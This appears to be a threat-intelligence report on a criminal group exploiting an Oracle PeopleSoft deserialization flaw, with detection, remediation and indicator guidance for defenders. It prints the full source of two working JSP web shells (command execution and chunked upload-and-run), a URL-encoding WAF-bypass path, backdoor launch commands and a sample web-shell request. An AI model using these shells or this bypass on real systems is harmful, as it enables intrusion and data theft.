Mandiant
Introduction
As an update to the June 2026 post, ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit, Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. In June, the threat actor exploited this vulnerability as a zero-day predominantly against academic institutions. This new wave of activity stems from UNC6240 modifying its exploit to bypass web application firewall (WAF) rules blocking the vulnerable Environment Management Hub (PSEMHUB) endpoint.
The threat actor bypassed these string-based WAF rules by URL-encoding a single character in the request path, requesting /%50SEMHUB/
in place of /PSEMHUB/
. Many WAF and reverse proxy rules match the literal path before URL decoding, while the PeopleSoft application server decodes the request and routes it to the vulnerable servlet. This allows the threat actor to reach the endpoint on systems whose operators may have believed their WAF rules had mitigated the exposure.
Our analysis indicates that the threat actor expanded their targeting in this recent campaign, deploying web shells on dozens of systems globally, spanning higher education, technology, IT services, healthcare, agriculture, transportation, and government.
Mandiant recommends that organizations running Oracle PeopleSoft take the following immediate actions. Additional remediation and hardening guidance is included later in this post.
Figure 1: Remediation and hardening quick guide
Background: From Zero-Day to N-Day
In June 2026, we reported a UNC6240 campaign that exploited CVE-2026-35273 as a zero-day between May 27 and June 9, 2026, predominantly against higher education institutions. Oracle released an out-of-band Security Alert on June 10, 2026. Mandiant’s June guidance recommended patching and, where patching or disabling EMHub was not immediately possible, blocking external access to /PSEMHUB/*
at the perimeter, noting that WAF body-inspection rules alone were insufficient.
The current campaign demonstrates that UNC6240 adapted to published defensive guidance, targeting organizations that implemented WAF rules but did not patch the vulnerability.
Attack Lifecycle
We observed a consistent sequence of events in targeted PeopleSoft environments, progressing from discovery and verification to web shell deployment and hands-on-keyboard activity.
Target Verification
Before exploitation, targeted servers typically received five to 15 POST
requests to /%50SEMHUB/hub
containing a serialized Java object. Unpatched servers respond with the host operating system without writing files or disrupting the service, allowing the threat actor to quietly confirm exploitability. On hosts that the threat actor validated but did not yet exploit, organizations may see this request in logs, with no follow-on activity.
WAF Bypass
All requests addressed the vulnerable servlet through a url-encoded path. %50
is the encoded form of the character P
. WAF and proxy rules that match the literal string /PSEMHUB
before decoding do not match /%50SEMHUB/
, while WebLogic decodes the path and serves the application normally.
Defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/
, and should enforce blocking on the normalized path.
Figure 2: PSEMHUB WAF bypass
Exploitation
We observed two exploitation methods, both abusing Java deserialization in the PSEMHUB hub servlet:
-
Web shell deployment. To access web shells behind some load balanced environments, the threat actor sent a burst of multiple
POST
requests to/%50SEMHUB/hub
, followed by the creation of a new JSP files, such asx.jsp
, or sequentially numbered JSP files in thePSEMHUB.war
directory. The repetition likely ensures that every node behind a load balancer receives a copy of the web shell, so organizations should check all WebLogic nodes, not only the first one identified. -
Fileless command execution.
POST
requests to/%50SEMHUB/hub
that return command output directly in the HTTP response, with no file written to disk. On the host, this appears as shell processes (cmd.exe
or/bin/sh
) spawned by the WebLogic Java process. Detections that rely on JSP file creation will not identify this method.
Post-Exploitation Tooling
Dual Web Shells
To establish persistent access and stage follow-on payloads, the threat actor deployed two complementary, single-line JSP web shells into the PSEMHUB.war
directory. Both shells were designed to minimize web application firewall (WAF) detections during post-exploitation.
The primary shell, x.jsp
, provides cross-platform command execution. Rather than passing cleartext commands in URL query strings, x.jsp
accepts hex-encoded commands via HTTP POST
(c
) along with an optional execution timeout (t
). It automatically detects the underlying operating system, spawning cmd.exe
on Windows or reconstructing /bin/sh
from an ASCII character array on Linux to avoid static string signatures, and returns the process output prefixed with R:
.
<%@ page import="java.util.*,java.io.*" %><%
String h = request.getParameter("c");
String ts = request.getParameter("t");
if (h != null) {
int t = ts != null ? Integer.parseInt(ts) : 30;
StringBuilder cs = new StringBuilder();
for (int i = 0; i + 1 < h.length(); i += 2) {
cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16));
}
String c = cs.toString();
boolean wn = System.getProperty("os.name").toLowerCase().contains("win");
Process p = new ProcessBuilder(
wn ? new String[]{"cmd.exe", "/c", c}
: new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c}
).start();
InputStream a = p.getInputStream();
InputStream g = p.getErrorStream();
byte[] b = new byte[8192];
int n;
StringBuilder sb = new StringBuilder();
long end = System.currentTimeMillis() + t * 1000L;
while (System.currentTimeMillis() < end) {
if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
else {
try { p.exitValue(); break; }
catch (IllegalThreadStateException e2) {
try { Thread.sleep(40); } catch (Exception e3) {}
}
}
}
while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
out.print("R:" + sb.toString());
}
%>
Figure 3: x.jsp
cross-platform command execution web shell (formatted for readability)
When staging larger binaries on compromised Windows hosts, the threat actor deployed a second servlet, u.jsp
(along with an offset-based variant, u2.jsp
). This shell decodes Base64-encoded file chunks (a
) and writes or appends them (m
) to a target path (n
) in 150 KB increments, bypassing HTTP request-size limits and avoiding PeopleSoft's native FILECHUNKING
handlers. It also includes a secondary parameter (x
) to execute cmd.exe
commands once file reassembly is complete.
<%@ page import="java.util.*,java.io.*,java.nio.file.*" %><%
String n = request.getParameter("n");
String a = request.getParameter("a");
String m = request.getParameter("m");
if (n != null && a != null) {
try {
byte[] b = java.util.Base64.getDecoder().decode(a);
if ("a".equals(m)) {
java.io.FileOutputStream f = new java.io.FileOutputStream(n, true);
f.write(b);
f.close();
} else {
java.nio.file.Files.write(java.nio.file.Paths.get(n), b);
}
out.print("W:" + b.length);
} catch (Exception e) {
out.print("E:" + e);
}
}
String x = request.getParameter("x");
if (x != null) {
try {
ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x});
pb.redirectErrorStream(true);
Process p = pb.start();
java.io.InputStream i = p.getInputStream();
byte[] buf = new byte[8192];
int k;
StringBuilder sb = new StringBuilder();
long end = System.currentTimeMillis() + 12000;
while (System.currentTimeMillis() < end) {
if (i.available() > 0) {
k = i.read(buf);
if (k > 0) sb.append(new String(buf, 0, k));
} else {
try { p.exitValue(); break; }
catch (Exception e2) { Thread.sleep(30); }
}
}
out.print("R:" + sb.toString());
} catch (Exception e) {
out.print("X:" + e);
}
}
%>
Figure 4: u.jsp
chunked file upload and execution web shell (formatted for readability)
Trojanized Installer and Multi-Stage Backdoor (Ple64.exe
)
On compromised Windows servers, the threat actor used u.jsp
(and u2.jsp
) to upload and execute a 5.2 MB binary named Ple64.exe
(tracked as SIDEEYE) inside the PSEMHUB.war
directory. While Ple64.exe
masquerades as a signed installer for the Light Alloy media player, analysis revealed that it is a trojanized installer containing a three-stage execution chain that loads SIDEEYE in memory. The analyzed sample was signed with a valid Extended Validation (EV) certificate issued to Tobias Weihmann Software Development OU
via Sectigo. GTIG has contacted Sectigo for revocation of this certificate.
When executed, Ple64.exe
(Stage 1) decompresses and loads a VMProtect 3 (VMP3)-protected second-stage launcher into memory. This launcher decrypts additional data blocks embedded within Ple64.exe
and loads and executes the third stage in memory. Stage 3 is the SIDEEYE C++ backdoor that communicates with its command-and-control (C2) server (162[.]219[.]30[.]165
) over raw TCP using separate control (TCP/3333
) and data (TCP/3334
) ports.
Initial analysis indicates that SIDEEYE supports:
-
Browser and desktop application credential theft
-
Process and file management
-
Interactive reverse shell and reverse proxy capabilities
After uploading the binary in chunks via u.jsp
, the threat actor verified the reassembled file size on disk, launched Ple64.exe
as a background process, and confirmed that it remained running:
dir applications\peoplesoft\PSEMHUB.war\Ple64.exe
for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF
cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe
tasklist | findstr /i Ple64
Figure 5: Threat actor verifying upload and execution of the trojanized Ple64.exe
(SIDEEYE) backdoor
Tunneling with Neo-reGeorg
Alongside the deployment of Ple64.exe
, the threat actor staged the open-source Neo-reGeorg tunneling toolkit and deployed its tunnel.jsp
and tunnel.jspx
servlets into victim web directories. This toolkit routes SOCKS5 proxy traffic through ordinary HTTP and HTTPS connections to the web tier, enabling internal discovery and lateral movement from the PeopleSoft host.
MeshAgent
To establish persistent access after web shell placement on Linux systems, UNC6240 deployed the legitimate RMM tool MeshAgent.
In earlier May and July 2026 intrusions, the actor dropped unencrypted agent binaries and configuration files directly into /tmp
(meshagent
, meshagent.msh
, and meshagent.db
) under the PeopleSoft service account, routing outbound connections to Microsoft-masquerading domains including azurenetfiles.net
, microsoft-entra.net
, and enroll.azuredevice.cloud
.
In September 2026 intrusions, UNC6240 continued to use IT-themed infrastructure associated with MeshAgent (winmanage-me.network
on 104.219.234.138
) for secondary staging and management.
MeshCentral is a legitimate open-source remote management platform that threat actors, including UNC6240, use to maintain interactive access to victim systems over web sockets.
Observed Post-Exploitation Commands
Across compromised instances, a quarter of the threat actor's commands executed as root
or NT Authority\SYSTEM
, granting full control of the operating system. The remaining commands were executed under PeopleSoft or WebLogic service accounts, which still provide access to PeopleSoft configuration files, database connection strings, and application data.
Command activity through the web shells fell into several categories:
-
Host and user discovery, including
hostname
andwhoami
. -
Process verification, polling process listings with
tasklist
to verify payload execution.
An example web shell request using the encoded path follows:
GET /%50SEMHUB/.jsp?c=id;hostname;uname+-a HTTP/1.1
Figure 6: Example web shell request
Remediation and Hardening
Patch and Reduce Exposure
Apply the Oracle Security Alert for CVE-2026-35273 and remain on supported PeopleTools versions. Disable the EMHub service if it is not used for patching or remove the PSEMHUB application. EMHub and the Integration Broker listening connector are administrative and system-to-system components, and restricting them from public internet access is non-breaking for standard PeopleSoft Internet Architecture (PIA) user sessions.
Log and Endpoint Monitoring
Search PIA WebLogic access logs for requests to /PSEMHUB/
and encoded variants, POST
requests to /hub
with bodies from external sources, and requests to unexpected .jsp
or .jspx
files under PSEMHUB or PORTAL. On hosts, alert on shell processes (cmd.exe
, /bin/sh
, bash
) spawned by the WebLogic Java process, particularly those invoking base64 -d
, curl
, /dev/tcp
, tasklist
, or start /b
.
Host-Level Auditing
Scan PSEMHUB.war/
and PORTAL.war/
for unexpected .jsp
, .jspx
, and .exe
files, inspect .../PSEMHUB.war/envmetadata/transactions/
for unauthorized content, and check for unexpected MeshCentral agents. Organizations that identify a web shell should treat the host as compromised, preserve evidence, and rotate all credentials accessible from the PeopleSoft tier, prioritizing hosts where the WebLogic service runs as root
or SYSTEM
.
Hunt for Evidence of Data Theft
Review PeopleSoft and database hosts for large archive files (.tar, .tar.gz, .zst) in temporary or web-accessible directories, and for tar, zstd, rsync, sshpass, or curl processes spawned by the PeopleSoft or WebLogic service accounts. Review database audit logs for bulk queries or exports against HR, payroll, and student records tables, and network logs for large or sustained outbound transfers from the PeopleSoft tier, including rsync (TCP 873), SSH, and HTTP POST traffic to the network indicators listed in this post.
Prepare for Extortion
UNC6240 has a well-established pattern of data theft extortion, that is, stealing data and threatening to release it on a data leak site unless the victim pays a ransom. Affected organizations should prepare for extortion communications and monitor for potential public exposure of stolen data.
Indicators of Compromise (IOCs)
To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI collection for registered users.
Network Indicators
Table 1: Network indicators
Host Indicators
/webserv//applications/peoplesoft/PSEMHUB.war/x.jsp
/webserv//applications/peoplesoft/PSEMHUB.war/u.jsp
/webserv//applications/peoplesoft/PSEMHUB.war/Ple64.exe
/webserv//applications/peoplesoft/PSEMHUB.war/tunnel.jsp
/webserv//applications/peoplesoft/PSEMHUB.war/tunnel.jspx
Figure 7: Host indicators
URI pattern: /%50SEMHUB/
(percent-encoded WAF bypass path; defenders should assume that threat actors may use any percent-encoded, mixed-case, or otherwise non-normalized variant of /PSEMHUB/ and enforce blocking on the normalized path).
File Indicators
Table 2: File indicators
Google Security Operations
Google Security Operations customers will have access to the following rules. These rules will be available under the Mandiant Frontline Threats rule pack:
-
Oracle PeopleSoft Configuration Inspection
-
Sshpass Interactive File Deployment
-
Data Archiving or Compression via Zstd Utility
-
MeshCentral Command Execution via Meshctrl
Pending deployment in the Mandiant Frontline Threats rule pack:
-
Oracle PeopleSoft Suspicious File Write to Web Application Archive Directory
MITRE ATT&CK Mapping
Table 3: MITRE ATT&CK